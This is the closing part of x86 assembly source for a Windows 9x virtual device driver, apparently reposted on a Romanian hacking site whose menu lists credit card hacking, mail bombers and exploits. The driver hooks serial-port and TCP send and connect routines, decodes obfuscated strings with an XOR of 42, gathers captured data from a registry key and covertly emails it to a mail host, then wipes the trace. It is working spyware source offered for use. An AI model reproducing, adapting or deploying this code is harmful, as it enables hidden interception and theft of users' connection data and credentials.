        mov ConnectionContext, eax

        ; Associate the connection context with the address handle

        push AddressHandle
        push offset32 Request
        mov esi, TdiDispatchTable
        call dword ptr [esi+10h]                ; TdiAssociateAddress
        add esp, 8h

        cmp eax, 0
        jnz Abort_Mail

        ; Connect to the mail host

        push offset32 RequestAddr
        push offset32 RequestAddr
        push 0                                  ; TO
        mov RequestContext, offset32 Send_1
        push offset32 Request
        mov esi, TdiDispatchTable
        call dword ptr [esi+18h]                ; TdiConnect
        add esp, 10h

        cmp eax, 0FFh                           ; If pending -> end proc
        ret

Call_TDI_CallBack:
        push 0                                  ; ByteCount
        push eax                                ; FinalStatus
        push offset32 RequestContext            ; pContext
        call TdiMail_Callback
        add esp, 0Ch
        ret

Abort_Mail:
        VMMCall _HeapFree, <pMailBuffer, 0>

Abort_Mail_Alloc:
        xor eax, eax
        mov Disable, al
        mov TracedHandle, eax
        ret

EndProc SendMail

;---------------------------------------------------------------------------;
; TdiMail_Callback                                                          ;
;---------------------------------------------------------------------------;

BeginProc       TdiMail_Callback

        push ebp
        mov ebp, esp

        pushfd                          ; save flags on stack
        pushad                          ; save registers on stack

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> pContext
; ebp+0Ch -> FinalStatus
; ebp+10h -> ByteCount

        mov eax, [ebp+08h]              ; RequestContext

        or eax, eax
        je TdiMail_Callback_End

        mov ebx, [ebp+0Ch]              ; If error -> close connection
        or ebx, ebx
        jne Close_Connection

        jmp dword ptr eax               ; RequestContext points to code

Send_1:
        mov RequestContext, offset32 Disconnect ; Pointer to next code

        mov eax, ConnectionContext      ; Get the ConnectionContext
        mov Request, eax

        push offset32 NDISBuffer
        push SendDataLength             ; Length
        push 0                          ; No flags
        push offset32 Request
        mov esi, TdiDispatchTable
        call dword ptr [esi+2Ch]        ; TdiSend
        add esp, 10h

        cmp eax, 0FFh                   ; If pending -> wait
        je TdiMail_Callback_End

        or eax, eax                     ; If error -> Close connection
        jnz Close_Connection

        jmp dword ptr [RequestContext]  ; If ok -> jump to next code

Disconnect:
        ; Delete the default value (send is done)

        xor eax, eax
        push eax                        ; cbData
        push offset32 Zero              ; lpszData
        push REG_SZ                     ; fdwType
        push eax                        ; lpSubKey
        push hOurKey

        VMMCall _RegSetValue
        add esp, 14h

        mov eax, ConnectionContext
        mov Request, eax

        mov RequestContext, offset32 Close_Connection ; Pointer to next code

        xor eax, eax
        push eax                        ; ReturnInfo
        push eax                        ; DiscConnInfo
        push eax                        ; Flags
        push eax                        ; TO
        push offset32 Request
        mov esi, TdiDispatchTable
        call dword ptr [esi+1Ch]        ; TdiDisconnect
        add esp, 14h

        cmp eax, 0FFh                   ; If pending -> wait
        je TdiMail_Callback_End

Close_Connection:
        VMMCall _HeapFree, <pMailBuffer, 0>

        xor ah, ah                      ; Undisable
        mov Disable, ah

        mov eax, AddressHandle
        mov Request, eax

        push offset32 Request
        mov esi, TdiDispatchTable
        call dword ptr [esi+04h]        ; TdiCloseAddress
        add esp, 4h

TdiMail_Callback_End:
        popad
        popfd

        pop ebp
        ret

EndProc         TdiMail_Callback

;---------------------------------------------------------------------------;
; QueryRegValue subroutine.                                                 ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; dwTemp_1                 x                                                ;
; pMailBuffer              x                                                ;
; MailPointer              x       x                                        ;
; dwTemp_2                         x                                        ;
;                                                                           ;
; Input: dwTemp_1 - opened key                                              ;
;        ebx      - lpszSubKey                                              ;
;                                                                           ;
; Returns: returns to Abort_Mail if there is an error                       ;
;---------------------------------------------------------------------------;

BeginProc QueryRegValue

        mov eax, pMailBuffer            ; Calculate the free space in buffer
        add eax, MAIL_BUFFER_LENGTH-9
        sub eax, MailPointer
        mov dwTemp_2, eax
        push offset32 dwTemp_2          ; cbData
        push MailPointer                ; lpszData
        push REG_SZ                     ; fdwType
        push 0                          ; dwReserved
        push ebx                        ; lpszSubKey
        push dwTemp_1                   ; phKey

        VMMCall _RegQueryValueEx        ; Get the value of the key
        add esp, 18h

        or eax, eax                     ; cmp eax, ERROR_SUCCESS
        jne Abort_Query

        mov edi, pMailBuffer
        mov ecx, MAIL_BUFFER_LENGTH
        mov al, 0
        repnz scasb
        jnz Abort_Query

        dec edi
        mov eax, 0A0D0A0Dh              ; Add two line breaks
        stosd

        mov MailPointer, edi

        ret

Abort_Query:
        pop eax                         ; Blah... Is approved by M$ as a
        push offset32 Abort_Mail        ; "good programming technique"? :-)

        ret

EndProc QueryRegValue


;---------------------------------------------------------------------------;
; Control Proc                                                              ;
;---------------------------------------------------------------------------;

BeginProc Control_Proc
        Control_Dispatch Device_Init, Do_Device_Init
        clc
        ret
EndProc Control_Proc

VxD_LOCKED_CODE_ENDS

;---------------------------------------------------------------------------;
; Initialization Code Segment                                               ;
;---------------------------------------------------------------------------;

VxD_ICODE_SEG

BeginProc Do_Device_Init

        pushfd                          ; save flags on stack
        pushad                          ; save registers on stack

        mov edi, ASCIIStart
        mov ecx, ASCIILength

Decode_Loop:                            ; Why 42...? :-)
        xor byte ptr [edi], 42
        inc edi
        loop Decode_Loop

        ; Allocate memory for the buffer

        VMMCall _HeapAllocate, <MAX_BUFFER_LENGTH, 0>
        or eax, eax             ; zero if error
        jz Abort
        mov [pBuffer], eax      ; address of memory block

        ; Hook VCOMM services

        GetVxDServiceOrdinal eax, _VCOMM_OpenComm
        mov esi, offset32 OpenComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

        GetVxDServiceOrdinal eax, _VCOMM_WriteComm
        mov esi, offset32 WriteComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

        GetVxDServiceOrdinal eax, _VCOMM_CloseComm
        mov esi, offset32 CloseComm_Hook
        VMMcall Hook_Device_Service
        jc Abort

        ; Make sure VTDI is present

        VxDcall VTDI_Get_Version
        jc Abort

        ; Get a pointer to the TCP dispatch table

        push offset32 TCPName
        VxDcall VTDI_Get_Info
        add esp, 4

        mov TdiDispatchTable, eax       ; Save the address of TdiDispatchTable

        ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend

        mov ebx, [eax+0Ch]
        mov TdiCloseConnection_PrevAddr, ebx
        mov [eax+0Ch], offset32 TdiCloseConnection_Hook

        mov ebx, [eax+18h]
        mov TdiConnect_PrevAddr, ebx
        mov [eax+18h], offset32 TdiConnect_Hook

        mov ebx, [eax+1Ch]
        mov TdiDisconnect_PrevAddr, ebx
        mov [eax+1Ch], offset32 TdiDisconnect_Hook

        mov ebx, [eax+2Ch]
        mov TdiSend_PrevAddr, ebx
        mov [eax+2Ch], offset32 TdiSend_Hook

        ; Create/Open our key

        push offset32 hOurKey           ; phKey
        push offset32 OurKey            ; SubKey
        push HKEY_LOCAL_MACHINE
        VMMCall _RegCreateKey           ; Create/open "our" key
        add esp, 0Ch                    ; Clean after VMMCall

        or eax, eax                     ; cmp eax, ERROR_SUCCESS
        jnz Abort

        jmp Device_Init_End

Abort:
        mov Disable, 1                  ; Disable hook operation

Device_Init_End:
        popad                           ; restore registers on stack
        popfd                           ; restore flags on stack

        ret

EndProc Do_Device_Init

VxD_ICODE_ENDS

        END
<-->

----[  EOF

<!-- HOME.RO Banners v0.1 -->
<SCRIPT LANGUAGE="JavaScript">
<!--
browser = (((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 2 )) || ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 2 )));
if (browser) {
if (parent.name != 'test') {
   test = window.open("http://www.home.ro/ads.php3", "test", "resizable=yes,width=500,height=80");
}
}
//-->
</SCRIPT>
<!-- END HOME.RO Banners -->

Home | Sfat | WinHACK | Hack Win Nt | Ex.de hack | Hack Mail | Mobil | Bombers | IRC | Oferta | Contact Information | Hack Mail | IP'uri | Windows Tricks | Parole NET | Soft | Learn HTML | Exploit IE.5 | Hack Carti Credit | Kernel Windows | Port Scan

 Copyright by Ciuri.
For problems or questions regarding this web contact [Project Mistakes].
Last updated: 04/11/02.